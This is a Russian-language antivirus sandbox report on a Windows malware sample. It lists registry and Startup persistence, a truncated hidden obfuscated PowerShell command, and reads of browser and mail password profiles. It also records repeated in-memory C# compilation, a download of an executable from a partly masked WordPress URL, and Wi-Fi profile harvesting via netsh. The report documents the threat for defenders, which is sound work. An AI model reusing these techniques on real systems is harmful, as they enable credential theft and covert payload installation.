Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ABwoZCfT' = '%APPDATA%\jeOTzXD\kMCKB.exe'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\chrome.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e9b75 {param($o7779a)$n21a44='p4ca3b';$t347f='';for ($i=0; $i -lt $o7779a.length;$i+=2){$dcd95a=[convert]::ToByte($o7779a.Substring($i,2),16);$t347f+=[char]($dcd9...
Внедряет код в
следующие пользовательские процессы:
- bbb33.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %APPDATA%\thunderbird\profiles.ini
- %APPDATA%\mozilla\firefox\profiles.ini
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\23yjghsc.0.cs
- %TEMP%\res3e83.tmp
- %TEMP%\8e6r80yg.dll
- %TEMP%\ybcmbepx.0.cs
- %TEMP%\ybcmbepx.cmdline
- %TEMP%\ybcmbepx.out
- %TEMP%\csc5f39.tmp
- %TEMP%\res5f49.tmp
- %TEMP%\ybcmbepx.dll
- %TEMP%\w2dh344b.0.cs
- %TEMP%\w2dh344b.cmdline
- %TEMP%\w2dh344b.out
- %TEMP%\csc7716.tmp
- %TEMP%\res7736.tmp
- %TEMP%\w2dh344b.dll
- %TEMP%\xzgagnln.cmdline
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\xzgagnln.out
- %TEMP%\csc9107.tmp
- %TEMP%\res9117.tmp
- %TEMP%\xzgagnln.dll
- %TEMP%\3ugbhf6g.0.cs
- %TEMP%\3ugbhf6g.cmdline
- %TEMP%\3ugbhf6g.out
- %TEMP%\csca7ac.tmp
- %TEMP%\resa7ad.tmp
- %TEMP%\3ugbhf6g.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{6b7686b2-fd6a-4d94-8985-64bab47410fb}.tmp
- %APPDATA%\jeotzxd\kmckb.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\csc3e72.tmp
- %TEMP%\xzgagnln.0.cs
- %TEMP%\8e6r80yg.out
- %TEMP%\cscf8fd.tmp
- %TEMP%\23yjghsc.cmdline
- %TEMP%\23yjghsc.out
- %TEMP%\g0lls3yc.0.cs
- %TEMP%\g0lls3yc.cmdline
- %TEMP%\g0lls3yc.out
- %TEMP%\cscebbe.tmp
- %TEMP%\cscec2c.tmp
- %TEMP%\resebcf.tmp
- %TEMP%\g0lls3yc.dll
- %TEMP%\resec3c.tmp
- %TEMP%\23yjghsc.dll
- %TEMP%\cxiwevhb.0.cs
- %TEMP%\cxiwevhb.cmdline
- %TEMP%\cxiwevhb.out
- %TEMP%\resf90d.tmp
- %TEMP%\8e6r80yg.0.cs
- %TEMP%\cxiwevhb.dll
- %TEMP%\-b7z0zcm.0.cs
- %TEMP%\-b7z0zcm.cmdline
- %TEMP%\-b7z0zcm.out
- %TEMP%\cscfe0.tmp
- %TEMP%\res1000.tmp
- %TEMP%\-b7z0zcm.dll
- %TEMP%\2fysyxjr.0.cs
- %TEMP%\2fysyxjr.cmdline
- %TEMP%\2fysyxjr.out
- %TEMP%\csc27ec.tmp
- %TEMP%\res280d.tmp
- %TEMP%\2fysyxjr.dll
- %APPDATA%\bbb33.exe
- %TEMP%\8e6r80yg.cmdline
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\bbb33.exe
Удаляет следующие файлы
- %TEMP%\resebcf.tmp
- %TEMP%\res7736.tmp
- %TEMP%\ybcmbepx.cmdline
- %TEMP%\ybcmbepx.pdb
- %TEMP%\ybcmbepx.out
- %TEMP%\ybcmbepx.dll
- %TEMP%\w2dh344b.cmdline
- %TEMP%\ybcmbepx.0.cs
- %TEMP%\res5f49.tmp
- %TEMP%\8e6r80yg.pdb
- %TEMP%\8e6r80yg.out
- %TEMP%\8e6r80yg.cmdline
- %TEMP%\8e6r80yg.dll
- %TEMP%\8e6r80yg.0.cs
- %TEMP%\csc5f39.tmp
- %TEMP%\-b7z0zcm.cmdline
- %TEMP%\w2dh344b.pdb
- %TEMP%\3ugbhf6g.0.cs
- %TEMP%\3ugbhf6g.out
- %TEMP%\3ugbhf6g.cmdline
- %TEMP%\csca7ac.tmp
- %TEMP%\resa7ad.tmp
- %TEMP%\xzgagnln.pdb
- %TEMP%\csc3e72.tmp
- %TEMP%\csc7716.tmp
- %TEMP%\xzgagnln.0.cs
- %TEMP%\xzgagnln.cmdline
- %TEMP%\csc9107.tmp
- %TEMP%\res9117.tmp
- %TEMP%\w2dh344b.out
- %TEMP%\w2dh344b.0.cs
- %TEMP%\xzgagnln.out
- %TEMP%\w2dh344b.dll
- %TEMP%\res3e83.tmp
- %TEMP%\2fysyxjr.0.cs
- %TEMP%\2fysyxjr.out
- %TEMP%\23yjghsc.0.cs
- %TEMP%\cscebbe.tmp
- %TEMP%\resec3c.tmp
- %TEMP%\cscec2c.tmp
- %TEMP%\23yjghsc.out
- %TEMP%\23yjghsc.cmdline
- %TEMP%\3ugbhf6g.dll
- %TEMP%\23yjghsc.dll
- %TEMP%\cscf8fd.tmp
- %TEMP%\g0lls3yc.dll
- %TEMP%\g0lls3yc.cmdline
- %TEMP%\g0lls3yc.0.cs
- %TEMP%\g0lls3yc.out
- %TEMP%\g0lls3yc.pdb
- %TEMP%\23yjghsc.pdb
- %TEMP%\xzgagnln.dll
- %TEMP%\cxiwevhb.dll
- %TEMP%\cxiwevhb.cmdline
- %TEMP%\cxiwevhb.pdb
- %TEMP%\2fysyxjr.pdb
- %TEMP%\2fysyxjr.dll
- %TEMP%\2fysyxjr.cmdline
- %TEMP%\csc27ec.tmp
- %TEMP%\res280d.tmp
- %TEMP%\cxiwevhb.0.cs
- %TEMP%\-b7z0zcm.out
- %TEMP%\resf90d.tmp
- %TEMP%\-b7z0zcm.pdb
- %TEMP%\-b7z0zcm.dll
- %TEMP%\cscfe0.tmp
- %TEMP%\res1000.tmp
- %TEMP%\cxiwevhb.out
- %TEMP%\-b7z0zcm.0.cs
- %TEMP%\3ugbhf6g.pdb
Сетевая активность
TCP
Запросы HTTP GET
- http://www.ja##sa.com/wordpress/wp-content/plugins/sid/ub2tcjwd.0hq.exe
UDP
- DNS ASK ja##sa.com
Другое
Создает и запускает на исполнение
- '%APPDATA%\bbb33.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e9b75 {param($o7779a)$n21a44='p4ca3b';$t347f='';for ($i=0; $i -lt $o7779a.length;$i+=2){$dcd95a=[convert]::ToByte($o7779a.Substring($i,2),16);$t347f+=[char]($dcd9...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9117.tmp" "%TEMP%\CSC9107.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xzgagnln.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7736.tmp" "%TEMP%\CSC7716.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\w2dh344b.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5F49.tmp" "%TEMP%\CSC5F39.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ybcmbepx.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3E83.tmp" "%TEMP%\CSC3E72.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8e6r80yg.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES280D.tmp" "%TEMP%\CSC27EC.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2fysyxjr.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1000.tmp" "%TEMP%\CSCFE0.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-b7z0zcm.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF90D.tmp" "%TEMP%\CSCF8FD.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cxiwevhb.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEC3C.tmp" "%TEMP%\CSCEC2C.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEBCF.tmp" "%TEMP%\CSCEBBE.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g0lls3yc.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\23yjghsc.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3ugbhf6g.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA7AD.tmp" "%TEMP%\CSCA7AC.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA7AD.tmp" "%TEMP%\CSCA7AC.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3ugbhf6g.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9117.tmp" "%TEMP%\CSC9107.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xzgagnln.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7736.tmp" "%TEMP%\CSC7716.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\w2dh344b.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5F49.tmp" "%TEMP%\CSC5F39.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ybcmbepx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3E83.tmp" "%TEMP%\CSC3E72.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8e6r80yg.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2fysyxjr.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1000.tmp" "%TEMP%\CSCFE0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-b7z0zcm.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF90D.tmp" "%TEMP%\CSCF8FD.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cxiwevhb.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEC3C.tmp" "%TEMP%\CSCEC2C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEBCF.tmp" "%TEMP%\CSCEBBE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g0lls3yc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\23yjghsc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES280D.tmp" "%TEMP%\CSC27EC.tmp"
- '%WINDIR%\syswow64\netsh.exe' wlan show profile
